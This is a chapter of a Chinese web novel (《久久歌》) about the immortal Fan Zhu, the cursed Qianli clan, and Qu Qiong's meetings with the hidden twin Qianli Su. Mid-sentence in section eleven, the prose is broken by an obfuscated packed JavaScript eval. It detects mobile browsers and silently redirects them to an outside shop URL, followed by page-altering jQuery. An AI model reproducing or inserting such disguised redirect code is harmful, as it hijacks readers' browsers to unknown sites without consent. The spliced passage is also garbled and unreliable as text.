19. 诉讼千里,道尽穷途(二)
作品:《久久歌》 (一)
青雏下凡时,用了他从前在人间的名字——樊竹。
(二)
青雏在人间几度轮回,法力几近殆尽,才终于遇见了千里氏一族
千里氏的家主千里辞被曲氏一族追杀,不死崖一跃,被一樊姓山户所救,曲氏穷追不舍,最后山户一家被杀,留下一个儿子,带着千里辞逃亡,便是樊竹。
(三)
如果想要救他师兄,必须从千里氏入手。他无法改变曲氏身上流的血,那只能阻止鬼王重生。
(四)
樊竹带着千里辞回到竹深一处密林。此地盘旋的两只鸟乃是天地所生,已长生百余年,守在天上地下莲池相接处,是千里氏最好的去所。
千里辞本被曲氏打压着一蹶不振,收了樊竹为家仆,本以为会孤独终老,死前却因因果循环,寻一良妻,留下两个儿子在这人世间。
(五)
樊竹看着千里辞所留遗言不过是莫再强留四字,他意识到自己现在所做的一切都无法改变这个家族的命运,便向现任家主提议,留下双生子,打破诅咒。
樊竹看着被称为恶鬼的孩子在竹林里一天天长大,以为这样的日子可以得以长存,却在某一天,竹林来了一位不速之客。
(六)
曲氏的长女前来拜访竹林,樊竹引她进前堂稍候,没想到却造就了她有了与千里诉见面的机会,一发不可收拾。
“千里公子?”
“……”
曲琼追了一路,看着躲在竹子后掩耳盗铃的白衣,跑过去拽住他腰间细绳,让他无法再逃跑。
“……”
“没人告诉我千里家的公子是个哑巴呀。”曲琼疑惑地看着他,千里诉却始终低着头不敢瞧她。
曲琼看着他干净的一张脸和红了的耳朵,不再为难他,“你看我一眼,我就放开你。”
千里诉闻言,耳朵不易察觉地动了动,皱着眉,似乎是鼓足了勇气,眉眼倔强,抬头看向曲琼。
曲琼愣住,然后眼含笑意,将细绳一松开,千里诉便逃走了。
(七)
曲琼从不知千里氏还藏有一个千里诉,误将他认为了当时千里氏唯一的公子千里讼,与他结缘。
(八)
曲琼开始频繁出入竹林,与千里讼互生好感。
(九)
樊竹发现千里诉不对时为时已晚。
他发现千里诉开始对着这竹林里唯一的池水发呆,去折这竹林里那唯一一棵桃树的桃枝,去收集羽毛,去逗蝴蝶……
“阿诉?”
樊竹叫他。
千里诉在落花中站起身,以前他从不在意这些花。
樊竹走到他身边,一下子就猜到他在干什么,却还是问他,“你在做什么?”
千里诉不爱说话,看着手里的桃花,这一次却像是在认真思考该如何回答樊竹。
“不知道。”他沉默许久后给出了这样一个答案,转身离开。
自那天起,樊竹怕多生事端,将他关了起来,直至他一如以前。
(十)
曲琼嫁入了千里家,与千里讼一年间皆是夫妻和睦的景象,只可惜好景不长,竹林再大也不可能将一个人完全藏匿起来。
曲琼回曲氏处理家族内务,回来时已过半月。她夜里归来,携疲惫之姿踏入竹林。
这一年,她与千里讼几乎形影不离,这算是他们分开最久的一次了,难得她能一个人逛一逛这片竹林。
竹林阒然,她独身其中,突然想起前夜里下过雨,可为时已晚,踩了一脚的泥泞。
她抬头,看着个个笔直通天的竹,在这踽踽独行中迷路了。
她长时间呆在竹深,这里让人宁静,她鲜少再有烦心之时,所以当她意识到自己迷路时依旧往前走着,认为前方自会有出路。
她不停地抬头看月亮,从中得以一丝慰藉,也确保月亮不会突然消失。当她不知道这是第几次抬头时,再往前看,却突然出现了一道如月皎洁的身影。
曲琼以为是自己眼花,她又抬头看一眼月亮,谁知轻风吹拂,乌云密布,掩去了月亮。
“你是谁?”曲琼带着质问的口吻,“为什么会出现在竹林?”
那人站定在原地,曲琼朝他靠近,他却突然转身逃走。
“站住!”
曲琼追去,眼睛死死盯着前方的一抹白,时不时用手去扶住一棵竹,衣袖扫过竹,在竹林里犹如翩跹一只蝴蝶。
曲琼有些追不上了,衣摆处都是飞扬起来的泥点子,有些想放弃,可又害怕这人会对千里家不利,对千里讼不利。
“你躲什么,有本事出来!”曲琼对着竹林大喊,“你别以为你逃得掉,竹林可不是说来就来,说走就走的。”
樊竹在竹屋里被吵醒,立刻动身。
曲琼看着依旧寂静的竹林,听见身后响动,她想也没想的转身,抬脚向身后踢去。
“阿讼?!”
千里诉抬手用手肘及时挡住了她这一脚,那本来素白的衣裳上突然多了这样一抹泥垢,让他整个人都有了瑕疵,更像天上月了。
曲琼放下腿,还是有些状况外,“你是知道我回来了,来找我的吗?”
樊竹赶来,为时已晚。
千里诉袖口里飞出一只蝴蝶,曲琼没有在意,直到千里诉从向她递来了桃枝。
千里讼向来呆板,从未有过如此浪漫之举。
“给我的吗?你今夜怎么了,怎么不说话?”曲琼接过桃枝,桃花香袭面而来,对方却没撒手。
曲琼面色沉着,以为是因为他们分开太久,千里讼与她使性子。如果真是这样的,她倒也乐意看见千里讼这一面。
“夫人。”樊竹打破了他们之间的僵局。
千里诉和曲琼同时看向他。
“夫人终于回来了。夫人不在的这些日子,家主一直等着夫人,思念成疾才会这样。”
曲琼闻言,看着千里诉泛红的耳朵,却是出乎预料道,“是吗?那我们回去吧。”
曲琼正要走,桃枝另一头的人却站着不动。
“怎么了,阿讼?”
樊竹紧张地看着,上前按住千里诉的手,“家主近来有夜游之症,此时恐怕尚在梦中,强行唤醒恐有不妥。”
千里诉抬眼,与曲琼对视。
下一秒,曲琼突然用力一拽,硬是从千里诉手中抢过桃枝,桃枝上的露水悉数抖落下来,几处花瓣也跟着掉落。
“你带阿讼回去吧,我有些累。”
樊竹连忙点头,看着曲琼离去,天也要亮了。
(十一)
樊竹又要将千里诉关起来,这一次却有了反
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990896|193699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抗的意志。
“为什么要把我关起来?”
“为什么要引诱夫人。”樊竹说这话时面无表情,依旧将他腰间细绳取下,绑住他。
千里诉看着他,似乎是不理解引诱这两个字。
“你只需要平安度过这一世,别再肖想其他。”
千里诉依旧不懂,只觉得手心里的划痕灼热。
樊竹告诉他残忍的事实,“你是这竹林里的鬼,一辈子都是。”
(十二)
桃枝被养在了瓶中,不过没过些时日就已凋尽。樊竹庆幸,在这桃枝死之前,一切都还未变。
千里习降生的那一日,樊竹比千里讼还要紧张。
房屋打开的那一刻,桃花的香气扑面而来,千里讼却只是匆匆看了一眼,独留樊竹在屋外将孩子接手。
千里习在樊竹怀中嚎啕大哭,不知是在哭哪一世的苦难。樊竹也很想哭,因为他失败了,怀中的婴孩是只恶鬼。
(十三)
千里讼知道家族的诅咒,第一个出世的孩子是恶鬼,诅咒就没有破,可曲琼对此一无所知。
千里讼看着怀中熟睡的千里习,愁容满面,“为什么会是你先来。”他逗着怀中婴孩,用着最轻柔的语气,“我该拿你怎么办。”
樊竹实在是看不下去,“家主。”
“你说该不该把他留在这世上,像阿诉一样,留在这世上。”毫无意义的留在这世上。千里讼没有说出口。
樊竹对此也是束手无策,他长时间呆在这人间,身体耗损,有时候觉得自己当神仙时只是一场梦。
“阿琼会怪我的。”他长叹一口气,把孩子交到樊竹怀中,“阿诉近来还好吗?”
“一切都好。”
这是千里讼惯例会问的问题,而樊竹的回答也是一成不变。
(十四)
千里习从出生起,几乎就由樊竹带着。曲琼对这个孩子并不上心,樊竹本以为是她察有所觉,可千里樟降生后,她依旧如此。
千里讼偏爱千里樟,不免冷落千里习,所以从千里樟出生开始,这俩兄弟就被分开来带。当千里樟还在父亲怀中哭天喊地时,千里习则静静呆在樊竹怀中。
千里诉时不时会学着樊竹的模样去逗千里习,让樊竹心中动容,却从来不敢将孩子单独交到千里诉怀中。
某天,曲琼突发奇想想要去抱一抱千里习,于是寻到了竹林里。
午后的竹林依旧留有阴寒之息,这是曲琼生完孩子后第一次出房间,她先是去找了千里讼,在千里樟身边呆了一会儿,找借口离开后就想要见千里习一面。
她还从未正眼去瞧过自己的孩子,此时却脚下迫切。
千里诉坐在竹屋外,樊竹在屋里编绳,视野刚好能够看见摇篮里千里习已经睡下。千里诉独自坐在一旁,算不上无聊,倒是有了一种期盼,期盼千里习醒来后他又可以去逗逗他。
曲琼停下脚步,一双眼死死盯着千里诉。
在这一刻,所有的生长和埋葬都从土里往上窜,所有的阳光与雨水挥洒下来,那不可磨灭的意志永垂不朽,给出了曲琼一个想要的答案。
千里诉感知到了一束热烈注目,已经有两年没再见过曲琼,这一面让他们直接走向了毁灭。
曲琼逃走了,怀揣胸腔中振荡无比的心跳声,跌跌撞撞跑出了竹林。

